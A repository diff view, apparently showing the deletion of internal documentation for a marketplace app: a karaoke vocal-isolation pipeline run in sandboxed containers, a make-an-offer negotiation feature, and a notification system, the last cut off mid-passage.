<title>pull&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" stroke-dasharray="1,5" d="M138.8,-57.88C161.27,-80.13 199.3,-115.33 237,-139 281.34,-166.83 296.77,-165.64 345,-186 348.91,-187.65 352.92,-189.33 356.97,-191.02"/>
<polygon fill="black" stroke="black" points="355.9,-194.37 366.47,-194.97 358.58,-187.9 355.9,-194.37"/>
<text text-anchor="middle" x="282" y="-190.8" font-family="monospace" font-size="9.00">HTTPS GET</text>
<text text-anchor="middle" x="282" y="-180.8" font-family="monospace" font-size="9.00">streaming decrypt</text>
</g>
<!-- inject -->
<g id="node12" class="node">
<title>inject</title>
<path fill="#e8f5e9" stroke="black" d="M494,-57.5C494,-57.5 369,-57.5 369,-57.5 363,-57.5 357,-51.5 357,-45.5 357,-45.5 357,-28.5 357,-28.5 357,-22.5 363,-16.5 369,-16.5 369,-16.5 494,-16.5 494,-16.5 500,-16.5 506,-22.5 506,-28.5 506,-28.5 506,-45.5 506,-45.5 506,-51.5 500,-57.5 494,-57.5"/>
<text text-anchor="middle" x="431.5" y="-45.5" font-family="monospace" font-size="10.00">lxc exec ... cat &gt;</text>
<text text-anchor="middle" x="431.5" y="-34.5" font-family="monospace" font-size="10.00">/root/input/{filename}</text>
<text text-anchor="middle" x="431.5" y="-23.5" font-family="monospace" font-size="10.00">64KB streaming pipe</text>
</g>
<!-- pull&#45;&gt;inject -->
<g id="edge10" class="edge">
<title>pull&#45;&gt;inject</title>
<path fill="none" stroke="black" d="M201.29,-37C246.27,-37 301.75,-37 346.86,-37"/>
<polygon fill="black" stroke="black" points="346.91,-40.5 356.91,-37 346.91,-33.5 346.91,-40.5"/>
</g>
<!-- compile -->
<g id="node13" class="node">
<title>compile</title>
<path fill="#fff8e1" stroke="black" d="M758,-57C758,-57 633,-57 633,-57 627,-57 621,-51 621,-45 621,-45 621,-33 621,-33 621,-27 627,-21 633,-21 633,-21 758,-21 758,-21 764,-21 770,-27 770,-33 770,-33 770,-45 770,-45 770,-51 764,-57 758,-57"/>
<text text-anchor="middle" x="695.5" y="-36.5" font-family="monospace" font-size="10.00">gcc &#45;O2 voxsplit.c &#45;lm</text>
</g>
<!-- inject&#45;&gt;compile -->
<g id="edge11" class="edge">
<title>inject&#45;&gt;compile</title>
<path fill="none" stroke="black" d="M506.18,-37.56C538.69,-37.81 577.06,-38.1 610.66,-38.36"/>
<polygon fill="black" stroke="black" points="610.89,-41.86 620.92,-38.44 610.95,-34.86 610.89,-41.86"/>
</g>
<!-- extract -->
<g id="node14" class="node">
<title>extract</title>
<path fill="#fff8e1" stroke="black" d="M993,-70C993,-70 874,-70 874,-70 868,-70 862,-64 862,-58 862,-58 862,-30 862,-30 862,-24 868,-18 874,-18 874,-18 993,-18 993,-18 999,-18 1005,-24 1005,-30 1005,-30 1005,-58 1005,-58 1005,-64 999,-70 993,-70"/>
<text text-anchor="middle" x="933.5" y="-58" font-family="monospace" font-size="10.00">ffmpeg &#45;i media</text>
<text text-anchor="middle" x="933.5" y="-47" font-family="monospace" font-size="10.00">&#45;vn &#45;acodec pcm_s16le</text>
<text text-anchor="middle" x="933.5" y="-36" font-family="monospace" font-size="10.00">&#45;ar 44100 &#45;ac 2</text>
<text text-anchor="middle" x="933.5" y="-25" font-family="monospace" font-size="10.00">audio.wav</text>
</g>
<!-- compile&#45;&gt;extract -->
<g id="edge12" class="edge">
<title>compile&#45;&gt;extract</title>
<path fill="none" stroke="black" d="M770.2,-40.56C795.99,-41.11 825.08,-41.72 851.44,-42.28"/>
<polygon fill="black" stroke="black" points="851.71,-45.79 861.78,-42.5 851.85,-38.79 851.71,-45.79"/>
</g>
<!-- split -->
<g id="node15" class="node">
<title>split</title>
<path fill="#fff8e1" stroke="black" d="M1259,-64.5C1259,-64.5 1122,-64.5 1122,-64.5 1116,-64.5 1110,-58.5 1110,-52.5 1110,-52.5 1110,-35.5 1110,-35.5 1110,-29.5 1116,-23.5 1122,-23.5 1122,-23.5 1259,-23.5 1259,-23.5 1265,-23.5 1271,-29.5 1271,-35.5 1271,-35.5 1271,-52.5 1271,-52.5 1271,-58.5 1265,-64.5 1259,-64.5"/>
<text text-anchor="middle" x="1190.5" y="-52.5" font-family="monospace" font-size="10.00">voxsplit audio.wav</text>
<text text-anchor="middle" x="1190.5" y="-41.5" font-family="monospace" font-size="10.00">→ split&#45;instrumental.wav</text>
<text text-anchor="middle" x="1190.5" y="-30.5" font-family="monospace" font-size="10.00">→ split&#45;vocal.wav</text>
</g>
<!-- extract&#45;&gt;split -->
<g id="edge13" class="edge">
<title>extract&#45;&gt;split</title>
<path fill="none" stroke="black" d="M1005.19,-44C1034.33,-44 1068.43,-44 1099.33,-44"/>
<polygon fill="black" stroke="black" points="1099.68,-47.5 1109.68,-44 1099.68,-40.5 1099.68,-47.5"/>
</g>
<!-- remux -->
<g id="node16" class="node">
<title>remux</title>
<path fill="#fff8e1" stroke="black" d="M1433,-70C1433,-70 1320,-70 1320,-70 1314,-70 1308,-64 1308,-58 1308,-58 1308,-30 1308,-30 1308,-24 1314,-18 1320,-18 1320,-18 1433,-18 1433,-18 1439,-18 1445,-24 1445,-30 1445,-30 1445,-58 1445,-58 1445,-64 1439,-70 1433,-70"/>
<text text-anchor="middle" x="1376.5" y="-58" font-family="monospace" font-size="10.00">ffmpeg remux</text>
<text text-anchor="middle" x="1376.5" y="-47" font-family="monospace" font-size="10.00">(video: copy video +</text>
<text text-anchor="middle" x="1376.5" y="-36" font-family="monospace" font-size="10.00">isolated audio)</text>
<text text-anchor="middle" x="1376.5" y="-25" font-family="monospace" font-size="10.00">(audio: copy wav)</text>
</g>
<!-- split&#45;&gt;remux -->
<g id="edge14" class="edge">
<title>split&#45;&gt;remux</title>
<path fill="none" stroke="black" d="M1271.13,-44C1279.93,-44 1288.88,-44 1297.65,-44"/>
<polygon fill="black" stroke="black" points="1297.85,-47.5 1307.85,-44 1297.85,-40.5 1297.85,-47.5"/>
</g>
<!-- artifacts -->
<g id="node17" class="node">
<title>artifacts</title>
<path fill="#fff8e1" stroke="black" d="M1601,-67.5C1601,-67.5 1494,-67.5 1494,-67.5 1488,-67.5 1482,-61.5 1482,-55.5 1482,-55.5 1482,-38.5 1482,-38.5 1482,-32.5 1488,-26.5 1494,-26.5 1494,-26.5 1601,-26.5 1601,-26.5 1607,-26.5 1613,-32.5 1613,-38.5 1613,-38.5 1613,-55.5 1613,-55.5 1613,-61.5 1607,-67.5 1601,-67.5"/>
<text text-anchor="middle" x="1547.5" y="-55.5" font-family="monospace" font-size="10.00">/tmp/artifacts/</text>
<text text-anchor="middle" x="1547.5" y="-44.5" font-family="monospace" font-size="10.00">instrumentals.{ext}</text>
<text text-anchor="middle" x="1547.5" y="-33.5" font-family="monospace" font-size="10.00">vocals.{ext}</text>
</g>
<!-- remux&#45;&gt;artifacts -->
<g id="edge15" class="edge">
<title>remux&#45;&gt;artifacts</title>
<path fill="none" stroke="black" d="M1445.26,-45.2C1453.91,-45.36 1462.8,-45.51 1471.55,-45.67"/>
<polygon fill="black" stroke="black" points="1471.68,-49.17 1481.74,-45.85 1471.8,-42.17 1471.68,-49.17"/>
</g>
<!-- artifacts&#45;&gt;stream_resp -->
<g id="edge16" class="edge">
<title>artifacts&#45;&gt;stream_resp</title>
<path fill="none" stroke="black" stroke-dasharray="1,5" d="M1510.87,-67.65C1477.53,-85 1425.76,-107 1377.5,-107 430.5,-107 430.5,-107 430.5,-107 343.6,-107 310.34,-88.39 237,-135 180.85,-170.69 145.52,-243.66 129.19,-284.89"/>
<polygon fill="black" stroke="black" points="125.85,-283.81 125.54,-294.4 132.39,-286.32 125.85,-283.81"/>
<text text-anchor="middle" x="933.5" y="-119.8" font-family="monospace" font-size="9.00">response JSON</text>
<text text-anchor="middle" x="933.5" y="-109.8" font-family="monospace" font-size="9.00">base64 artifacts</text>
</g>
<!-- browser -->
<g id="node19" class="node">
<title>browser</title>
<ellipse fill="#e0f2f1" stroke="black" cx="1190.5" cy="-469" rx="54.39" ry="21.43"/>
<text text-anchor="middle" x="1190.5" y="-472" font-family="monospace" font-size="10.00">Browser</text>
<text text-anchor="middle" x="1190.5" y="-461" font-family="monospace" font-size="10.00">(watch.js)</text>
</g>
<!-- s3&#45;&gt;browser -->
<g id="edge21" class="edge">
<title>s3&#45;&gt;browser</title>
<path fill="none" stroke="black" d="M999.18,-469C1037.91,-469 1086.97,-469 1125.57,-469"/>
<polygon fill="black" stroke="black" points="1125.66,-472.5 1135.66,-469 1125.66,-465.5 1125.66,-472.5"/>
<text text-anchor="middle" x="1057.5" y="-481.8" font-family="monospace" font-size="9.00">presigned URL</text>
<text text-anchor="middle" x="1057.5" y="-471.8" font-family="monospace" font-size="9.00">15 min TTL</text>
</g>
</g>
</svg>
Side by side

Before

Width:  |  Height:  |  Size: 23 KiB

286
docs/karaoke-pipeline.md
View file

@ -1,286 +0,0 @@
# Karaoke Pipeline — Vocal Isolation via Unsandbox
## Overview
MPS separates instrumentals and vocals from audio/video uploads using spectral
mid-side Wiener masking (`voxsplit.c`, zero ML dependencies). Processing runs
inside unsandbox zerotrust containers. The pipeline is disk-backed with ~64KB
memory per worker at every stage.
## Architecture Diagram
```dot
// Render: dot -Tsvg docs/karaoke-pipeline.dot -o docs/karaoke-pipeline.dot.svg
digraph karaoke_pipeline {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_mps {
label="MPS (uWSGI)";
style=dashed;
color="#5871ad";
trigger [label="Trigger\n(upload / on-demand / backfill)", fillcolor="#e8eaf6"];
s3_down [label="S3 Download\n→ /tmp/karaoke_*/media.bin\n64KB chunks", fillcolor="#e8eaf6"];
upload_media [label="POST /upload\n(streaming file body)\n→ upload_id", fillcolor="#e8eaf6"];
upload_vox [label="POST /upload\nvoxsplit.c\n→ upload_id", fillcolor="#e8eaf6"];
execute [label="POST /execute\n{upload_ids, script}\ntiny JSON, no file bytes", fillcolor="#e8eaf6"];
stream_resp [label="Stream response\n→ /tmp/karaoke_*/response.json\n64KB chunks", fillcolor="#e8eaf6"];
decode [label="Decode artifacts\n(base64 → tmpfile)\nupload to S3", fillcolor="#e8eaf6"];
db_update [label="Update product\nextensions + file_bytes\nset S3 ACLs", fillcolor="#e8eaf6"];
}
subgraph cluster_api {
label="api.unsandbox.com";
style=dashed;
color="#ad5871";
recv_upload [label="Receive upload\nAES-256-CTR encrypt\n→ /tmp/uploads/{id}.enc\nkey in ETS only", fillcolor="#fce4ec"];
dispatch [label="Dispatch execute\nErlang RPC\n~200B metadata only", fillcolor="#fce4ec"];
}
subgraph cluster_pool {
label="Pool Node";
style=dashed;
color="#58ad71";
pull [label="GET /internal/upload/{id}\nX-Upload-Key auth\nstreaming decrypt", fillcolor="#e8f5e9"];
inject [label="lxc exec ... cat >\n/root/input/{filename}\n64KB streaming pipe", fillcolor="#e8f5e9"];
}
subgraph cluster_container {
label="Zerotrust Container";
style=dashed;
color="#ad8f58";
compile [label="gcc -O2 voxsplit.c -lm", fillcolor="#fff8e1"];
extract [label="ffmpeg -i media\n-vn -acodec pcm_s16le\n-ar 44100 -ac 2\naudio.wav", fillcolor="#fff8e1"];
split [label="voxsplit audio.wav\n→ split-instrumental.wav\n→ split-vocal.wav", fillcolor="#fff8e1"];
remux [label="ffmpeg remux\n(video: copy video +\nisolated audio)\n(audio: copy wav)", fillcolor="#fff8e1"];
artifacts [label="/tmp/artifacts/\ninstrumentals.{ext}\nvocals.{ext}", fillcolor="#fff8e1"];
}
s3 [label="S3 / CDN\n(DO Spaces or BYOB)", shape=cylinder, fillcolor="#f3e5f5"];
browser [label="Browser\n(watch.js)", shape=ellipse, fillcolor="#e0f2f1"];
trigger -> s3_down;
s3_down -> upload_media [label="file on disk"];
s3_down -> upload_vox;
upload_media -> recv_upload [label="streaming\noctet-stream"];
upload_vox -> recv_upload;
recv_upload -> execute [label="upload_id", style=dashed, dir=back];
execute -> dispatch [label="JSON\n{upload_ids}"];
dispatch -> pull [label="RPC\nmetadata only"];
pull -> recv_upload [label="HTTPS GET\nstreaming decrypt", style=dotted];
pull -> inject;
inject -> compile;
compile -> extract;
extract -> split;
split -> remux;
remux -> artifacts;
artifacts -> stream_resp [label="response JSON\nbase64 artifacts", style=dotted];
stream_resp -> decode;
decode -> s3 [label="PUT instrumentals\nPUT vocals"];
db_update -> s3 [label="ACL update", style=dashed];
decode -> db_update;
s3 -> browser [label="presigned URL\n15 min TTL"];
}
```
## Pipeline Stages
### Stage 1: Trigger
Three entry points, all converge on `process_karaoke()`:
| Entry Point | File | When |
|-------------|------|------|
| Upload | `views/product.py:382` | User uploads audio/video to product |
| On-demand | `views/watch.py:karaoke_process` | User clicks 🎤 button in watch mode |
| Backfill | `lib/karaoke.py:backfill_karaoke_async` | Shop owner triggers from settings |
On-demand and backfill fork a detached grandchild process (double-fork +
`os.setsid()`) that survives uWSGI worker recycling. Per-product lockfile
(`/tmp/karaoke_{product_id}.lock`) prevents duplicate processing.
### Stage 2: Download from S3
```python
# karaoke.py:217-226
resp = s3_client.get_object(Bucket=bucket, Key=s3_key)
with open(media_path, "wb") as f:
while True:
chunk = body.read(65536) # 64KB
if not chunk: break
f.write(chunk)
```
### Stage 3: Upload to Unsandbox API
```python
# karaoke.py:45-77
# HMAC signs empty body — API skips body parsing for /upload
headers = {"X-Filename": filename, "Content-Type": "application/octet-stream"}
with open(file_path, "rb") as body:
response = requests.post(url, data=body, headers=headers)
# Returns: {"upload_id": "uuid"}
```
Two uploads: the media file + `voxsplit.c` source. Both stream from disk,
constant memory.
### Stage 4: API Receives + Encrypts
`upload_store.ex` writes incoming bytes to `/tmp/uploads/{id}.enc` with
AES-256-CTR encryption. Unique key+IV per upload. Keys live only in ETS
(BEAM memory, never written to disk). Files auto-expire after 15 minutes.
### Stage 5: Execute (Metadata Only)
```python
# karaoke.py:80-125
payload = {
"language": "bash",
"code": script,
"network_mode": "zerotrust",
"input_files": [
{"upload_id": media_id, "filename": "media"},
{"upload_id": voxsplit_id, "filename": "voxsplit.c"},
],
}
```
Tiny JSON body. Zero file content crosses Erlang distribution.
### Stage 6: Pool Pulls Files
Pool node calls `GET /internal/upload/{id}` back to the API. API decrypts
on-the-fly, streams plaintext. Pool pipes into container:
```
lxc exec {container} -- sh -c 'cat > /root/input/media'
```
`/tmp/input` symlinks to `/root/input/` (canonical location).
### Stage 7: Container Processing
```bash
# Compile voxsplit (spectral mid-side Wiener masking, libc + libm only)
gcc -O2 -o /tmp/voxsplit /tmp/input/voxsplit.c -lm
# Extract audio from media
ffmpeg -y -i /tmp/input/media -vn -acodec pcm_s16le -ar 44100 -ac 2 /tmp/audio.wav
# Separate instrumentals and vocals
/tmp/voxsplit /tmp/audio.wav -o /tmp/split
# For video: remux original video with each isolated audio
ffmpeg -y -i /tmp/input/media -i /tmp/split-instrumental.wav \
-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/instrumentals.mp4
ffmpeg -y -i /tmp/input/media -i /tmp/split-vocal.wav \
-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/vocals.mp4
```
### Stage 8: Response + S3 Upload
Response JSON streams back to MPS temp file. Artifacts are base64-encoded in
the response. MPS decodes each one to a temp file, uploads to S3, deletes
temp file. Updates product metadata and S3 ACLs.
## On-Demand Flow (Watch Mode)
```dot
// Render: dot -Tsvg docs/karaoke-ondemand.dot -o docs/karaoke-ondemand.dot.svg
digraph karaoke_ondemand {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
click [label="User clicks 🎤\n(watch.js)", fillcolor="#e0f2f1"];
check [label="Has tracks?", shape=diamond, fillcolor="#fff8e1"];
cycle [label="cycleKaraoke()\nOriginal → Instrumentals → Vocals", fillcolor="#e8f5e9"];
post [label="POST /karaoke/{id}\n(fetch, non-blocking)", fillcolor="#e8eaf6"];
fork [label="Server forks\ndetached grandchild", fillcolor="#e8eaf6"];
process [label="process_karaoke()\n(~30-120s)", fillcolor="#fce4ec"];
hourglass [label="Button shows ⌛\nkaraokeProcessing=true", fillcolor="#e0f2f1"];
refresh [label="10s URL refresh\nfetchWatchData()", fillcolor="#e0f2f1"];
detect [label="instrumentals_url\nappears in JSON", shape=diamond, fillcolor="#fff8e1"];
autoswitch [label="Auto-switch to\ninstrumentals 🎤", fillcolor="#e8f5e9"];
click -> check;
check -> cycle [label="yes"];
check -> post [label="no (eligible)"];
post -> fork [label="200 {status: processing}"];
post -> hourglass;
fork -> process;
hourglass -> refresh [label="every 10s"];
refresh -> detect;
detect -> refresh [label="not yet"];
detect -> autoswitch [label="tracks ready"];
process -> detect [label="DB updated", style=dashed];
}
```
## Security Properties
- **Encryption at rest**: AES-256-CTR, unique key+IV per upload, key in ETS only
- **Single-use**: Upload deleted immediately after pool pulls it
- **TTL**: 15-minute expiry, swept every 60 seconds
- **Key loss on restart**: BEAM restart = all encryption keys gone = files undecryptable
- **Auth**: `X-Upload-Key` header + 128-bit random UUID per upload
- **Zerotrust network**: Container has no outbound network access
## Limits
| Limit | Value | Source |
|-------|-------|--------|
| Max file size | 3.698 GB (3,698,742,051 bytes) | `upload_store.ex @max_upload_bytes` |
| Memory per worker | ~64 KB | Disk-backed streaming at every stage |
| Concurrency | Per-key limit from `validate_keys()` | Unsandbox account tier |
| Retries | 3 attempts, exponential backoff (5s, 10s, 20s) | `karaoke.py` backfill |
| URL TTL | 15 minutes | Presigned URL expiry |
| Upload TTL | 15 minutes | API auto-cleanup |
| Container TTL | 300 seconds | `/execute` payload `ttl` field |
## S3 Key Structure
```
{shop_id}/products/{product_id}/
product # original media file
preview # preview (for sellable products)
thumbnail1-4 # thumbnails
instrumentals # karaoke: isolated instrumentals
vocals # karaoke: isolated vocals
```
## Product Metadata
```python
product.extensions = {
"product": "mp4", # original
"instrumentals": "mp4", # same ext for video, "wav" for audio
"vocals": "mp4",
}
product.file_bytes = {
"product": 15000000,
"instrumentals": 12000000,
"vocals": 8000000,
}
```
## Related Files
| File | Role |
|------|------|
| `lib/karaoke.py` | Core pipeline: download, upload, execute, process response |
| `lib/voxsplit.c` | Spectral mid-side vocal isolation (C, libc+libm only) |
| `lib/un.py` | Unsandbox API client, HMAC signing, key validation |
| `views/watch.py` | On-demand `POST /karaoke/{id}` endpoint + watch JSON |
| `views/product.py` | Upload-triggered karaoke processing |
| `views/content.py` | Content page karaoke URL generation |
| `static/js/watch.js` | Client: button states, on-demand trigger, auto-switch |
| `templates/snippets/related_content.j2` | Karaoke button HTML |
| `templates/content.j2` | `data-karaoke-eligible` attribute |
| `scripts/backfill_karaoke.py` | Standalone backfill script |

205
docs/make-offer.md
View file

@ -1,205 +0,0 @@
# Make-an-Offer Mode (MPS-21)
Buyer proposes a price for any product in `pricing_mode=3` or `4`. Seller
counters, accepts, or declines. Auto-accept and auto-decline thresholds
filter lowballs and instantly close high offers without queueing.
## State Machine
```
┌─────────┐
buyer │ open │
opens → └────┬────┘
│
▼
┌─────────┐
│ pending │ ◄─────────┐
└────┬────┘ │
┌─────────┼─────────┐ │
▼ ▼ ▼ │ counter
accepted countered declined │ flips party
↓ │
(round_count++) │
└─────────────────────┘
terminal: accepted, declined, expired, withdrawn, paid
```
| state | description |
|-------|-------------|
| 0 pending | open offer awaiting current_party action |
| 1 accepted | terminal; cart line item created at agreed amount |
| 2 countered | counter active (still pending to other party) |
| 3 declined | terminal; rejected |
| 4 expired | terminal; auto-expired past expires_timestamp |
| 5 withdrawn | terminal; buyer pulled the offer |
| 6 paid | terminal; cart payment succeeded |
`current_party` flips between `BUYER (0)` and `SELLER (1)` on each
counter; round_count caps at `Shop.offer_max_rounds` (default 3).
## Models
- `MpsOffer` — one row per negotiation (product, shop, buyer,
current_amount, current_party, state, expires_timestamp, round_count,
buyer_message, seller_message, paid_timestamp).
- `MpsOfferEvent` — audit log; one row per action (open / counter /
accept / decline / withdraw / expire / pay) with actor_user_id.
- `MpsCartOffer` — cart-side association so checkout pays the agreed
amount instead of `Product.price_in_cents`.
## Shop Settings (form_section: offer-settings)
| field | default | purpose |
|-------|---------|---------|
| `offer_enabled` | False | shop master toggle |
| `offer_min_in_cents` | NULL | reject offers below this floor (silent) |
| `offer_auto_accept_threshold_pct` | 95 | offer ≥ N% of list → auto-accept |
| `offer_auto_decline_threshold_pct` | 50 | offer < N% of list → auto-decline |
| `offer_expiration_hours` | 168 (7d) | how long an offer stays open |
| `offer_max_rounds` | 3 | counter cap before forcing accept/decline |
| `offer_min_buyer_account_age_hours` | 0 | anti-spam (default open) |
Per-product override: `Product.allow_offers` (Boolean, nullable). NULL
inherits shop setting; True/False overrides.
## Logic (`lib/offer.py`)
Pure validators:
- `validate_actor_turn` — actor's party must match `offer.current_party`;
terminal-state offers reject all actions.
- `validate_round_cap` — rejects when `round_count >= max_rounds`
(forces accept/decline at the cap).
- `validate_floor` — silent reject below `Shop.offer_min_in_cents`.
- `auto_resolve_open` — classifies a new offer as accept / decline /
queue using shop's threshold percentages; `list_price=0` always queues.
Orchestrators (write `MpsOfferEvent` rows for audit):
- `open_offer` — writes offer + OPEN event; applies auto-accept /
auto-decline thresholds before queuing seller.
- `counter_offer` — flips `current_party`, increments `round_count`,
sets state COUNTERED, persists actor's message.
- `accept_offer` — terminal; caller's responsibility to write a cart
line item at `offer.current_amount_in_cents`.
- `decline_offer` — terminal.
- `withdraw_offer` — terminal; buyer-only (caller validates identity).
- `expire_offer` — idempotent system action; flips non-terminal offers
past `expires_timestamp` to EXPIRED.
- `mark_paid` — cart-success hook; ACCEPTED → PAID; raises if not in
ACCEPTED state.
Self-offer (buyer == seller) blocking is the view layer's job (same
pattern as auctions).
## Tick (`scripts/offer_tick.py`)
Scans non-terminal offers (PENDING / COUNTERED) past `expires_timestamp`
and calls `expire_offer` on each. Idempotent.
Recommended cron: every 15 minutes — offers expire at hour granularity
so coarse polling is enough.
## Routes
```
POST /p/{product_id}/offer open new offer (login required)
GET /o/{offer_id} offer detail page (buyer + seller only)
POST /o/{offer_id}/counter counter the current amount
POST /o/{offer_id}/accept accept current amount (terminal)
POST /o/{offer_id}/decline decline current amount (terminal)
POST /o/{offer_id}/withdraw buyer-only terminal pull
POST /o/{offer_id}/checkout buyer pays accepted offer
GET /s/{shop_id}/offers operator inbox of all offers for the shop
GET /o/{offer_id}/events bounded SSE feed of the offer's state (buyer/seller only)
```
### Live updates (bounded SSE)
`/o/{offer_id}/events` is a `text/event-stream` that polls the offer row
every ~1.5s, emits a `data: {json}` frame on connect and whenever the
state-machine state changes, sends a heartbeat comment, then closes after
~25s — the browser `EventSource` reconnects. This caps the worker-thread
hold per client (uWSGI is sync, ~16 threads; a truly long-lived SSE would
starve the pool). Shared helper: `lib/sse.py` (`sse_response` /
`event_stream`). Timings are settings (`app.sse.hold_seconds`,
`app.sse.poll_interval_seconds`; `test.ini` sets them tiny). The
generator uses its **own** short-lived DB session per poll (not
`request.dbsession`, which pyramid_tm has already closed by then).
`offer.js` opens the `EventSource` on the offer page and `reload()`s on a
state change (the whole page layout depends on state/`can_act`). Auctions
have the same: `/a/{auction_id}/events` (public) + `auction.js` calls
`applyState()` on each frame.
`offer_open` is registered before the `product_slug` catch-all so
`/p/{id}/offer` is not shadowed.
### Operator inbox (`/s/{shop_id}/offers`)
`views/offer.py:shop_offers` (`@shop_editor_required`) lists every offer
for the shop — open (pending/countered) first, sorted by last action, then
terminal offers — in `shop_offers.j2`. Each row links to `/o/{id}` and to
the buyer's profile (`/profile/{handle}?shop={shop_id}`). Reachable from
`/actions/view` via the "🤝 Offers" button (shown when `shop.offer_enabled`).
Incoming offers still email the shop owners (`send_offer_received_email`);
this inbox is the in-app counterpart.
### Identity / privacy
Offer history and the offer page show the buyer's **display name**
(`User.display_name`, which is the public `name` handle — `full_name` is
private) linked to `/profile/{handle}`, never the email. The profile page
reveals the email only to the user themselves, or to a shop owner/editor
viewing in that shop's context (`?shop={shop_id}`) when the profile user
has actually transacted there (an offer or an invoice) — see
`views/user.py:user_profile`. `_serialize_offer` carries `buyer_name` /
`buyer_handle` and per-event `actor_name` / `actor_handle` / `actor_id`
(no email).
### Capability-driven presentation
Every POST route works as a plain browser form submit: the server flashes
a status message and `302`-redirects to `/o/{offer_id}` (or back to the
product page on error). When JS is available, `static/js/offer.js`
intercepts the submit, posts with `X-Requested-With: XMLHttpRequest`, and
the same handlers return JSON instead of redirecting — the JS then
navigates to `/o/{offer_id}` without a full reload of the originating
page. The no-JS path is the source of truth; JSON is an enhancement.
Functional coverage: `TestOfferRoutes` drives the JSON path,
`TestOfferNoJsFallback` the plain-POST path.
`offer.j2` also renders a state-aware notice (`.offer-state-notice`,
styled via the `.alert` variants) above the action forms — declined /
withdrawn / expired / accepted (+ pay-now hint for the buyer) / your-turn
/ waiting — so the viewer always understands the offer's state without
relying on a flash message that a JS redirect would skip. The booleans
come from `_serialize_offer` (`is_declined`, `is_withdrawn`, `is_expired`,
`is_accepted`, `is_paid`, plus `can_act` / `is_open`).
## Cart Integration
When `cart.cart_offers` has one row, `cart.total_price_in_cents`
short-circuits to `offer.current_amount_in_cents` + handling +
gift-card-purchases. After standard cart payment success,
`_finalize_auction_offer_state` calls `lib/offer.mark_paid` which
flips `state=PAID` and writes the OFFER_EVENT_PAY audit row.
## Email Notifications
- `OFFER_RECEIVED` — sent to all shop owners when a new pending offer
arrives (sent from `offer_open` view; auto-accept and auto-decline
paths use different emails).
- `OFFER_ACCEPTED` — sent to the buyer when the seller (or buyer
themselves) accepts the current amount.
Decline / counter / expire emails are not yet sent (deferred — same
constraint as auction tick-driven emails: cron has no request).
## Testing
5 model state helpers + 12 lib pure-function unit tests +
10 lib integration tests + 12 view functional tests +
9 form section functional tests + 13 cart integration tests +
4 tick tests + 4 email tests = 69 net new tests for MPS-21
(some shared with MPS-20 in cart integration).

129
docs/notifications.md
View file

@ -1,129 +0,0 @@
# MPS Notification System
Every transactional email in MPS now pairs with an in-app notification
row in `mps_notification`. The user has a permanent inbox even if they
never opened the email, and the navbar surfaces an unread count badge.
## Data Model
`MpsNotification` (`mps_notification`, migration
`5d01b163b805`):
| Column | Type | Notes |
|---|---|---|
| `id` | UUID | primary key |
| `user_id` | UUID | recipient (FK `mps_user.id`) |
| `shop_id` | UUID nullable | shop this is about (FK `mps_shop.id`) |
| `kind` | string(64) | discriminator — see kinds below |
| `subject` | string(256) | one-line headline |
| `body` | text | denormalized snippet (survives source deletion) |
| `link_url` | string(512) | primary click-through |
| `offer_id` | UUID nullable | breadcrumb FK |
| `auction_id` | UUID nullable | breadcrumb FK |
| `invoice_id` | UUID nullable | breadcrumb FK |
| `created_timestamp` | bigint | ms |
| `updated_timestamp` | bigint | ms |
| `read` | bool, default `False` | drives the unread badge |
| `read_timestamp` | bigint nullable | when dismissed |
Composite index on `(user_id, read, created_timestamp)` for cheap
unread-count queries.
## Kinds
Defined in `make_post_sell/models/notification.py` (stable strings —
templates and tests assume them). Every kind has matching email logic
in `lib/mail.py`; the notification persist lives in `lib/notifications.py`.
| Kind | Trigger | Recipient(s) | Source FKs |
|---|---|---|---|
| `offer_received` | buyer opens offer (PENDING) | shop owners | `offer_id` |
| `offer_accepted` | auto-accept / seller-accept | buyer | `offer_id` |
| `offer_countered` | either party counters | the other party | `offer_id` |
| `offer_declined` | seller manually declines | buyer | `offer_id` |
| `offer_withdrawn` | buyer withdraws pre-accept | shop owners | `offer_id` |
| `offer_buyer_cancelled` | buyer cancels post-accept | shop owners | `offer_id` |
| `offer_expired` | offer_tick → EXPIRED | buyer + shop owners | `offer_id` |
| `purchase` | cart pays | buyer | `invoice_id` |
| `sale` | cart pays | shop owners | `invoice_id` |
| `auction_outbid` | new bid bumps prior leader | prior bidder | `auction_id` |
| `auction_won` | auction_tick → ENDED + winner | winner | `auction_id` |
| `auction_ended_no_winner` | auction_tick → ENDED, no winner | shop owners | `auction_id` |
| `auction_cancelled` | reserved (no call site yet) | bidders + watchers | `auction_id` |
## Breadcrumbs
`MpsNotification.breadcrumbs` returns an ordered `[(label, url)]`
walk back from the notification to its source:
Shop → Product → (Offer | Auction | Invoice)
The template iterates this for the breadcrumb chain under each row.
Each step is optional — only entities whose FK is set get rendered.
For offer/auction kinds the product comes from `offer.product` /
`auction.product`. For purchase/sale kinds it comes from the first
invoice line item.
## Wiring
**Orchestration:** `make_post_sell/lib/notifications.py` exports one
helper per event class. Each helper accepts either a Pyramid request
*or* a SQLAlchemy session — `_resolve_session()` extracts the right
one, so the same orchestrator works in views and in tick jobs.
**Offer transitions** drop their notifications inline in
`views/offer.py` (alongside the existing `send_offer_*_email` sends).
Each handler snapshots state pre-action, runs the action, and only
emits on the actual transition.
**Cart completion** drops `purchase` + `sale` rows from every
checkout completion path:
- `views/cart.py` ×3 (Stripe / PayPal-create / Adyen)
- `views/webhooks.py` ×4 (PayPal capture, approved, Stripe, Adyen)
- `lib/crypto_watcher/__init__.py` ×3 (Monero, Dogecoin,
confirmed-duplicate path) — gated on
`crypto_payment.sales_email_sent` so a rescan can't
write duplicates.
**Auction transitions** in `lib/auction_tick.py`:
- ACTIVE → ENDED with winner → `notify_auction_won`
- ACTIVE → ENDED without winner → `notify_auction_ended_no_winner`
- bid placement bumps prior leader → `notify_auction_outbid`
(in `views/auction.py`)
**Offer auto-expiry** in `lib/offer_tick.py` calls
`notify_offer_expired` for both pre-accept and post-accept windows.
## UI
- **Badge** (`templates/base.j2` + `request.unread_notification_count`,
reified): pill next to the profile name in the navbar. Same pill
appears on the `/u/settings` "Notifications" button.
- **List** at `/u/notifications` (`templates/user_notifications.j2`):
newest first, kind label + relative time + subject + body +
breadcrumb nav. Unread rows carry an `alert-info-bg` left-border
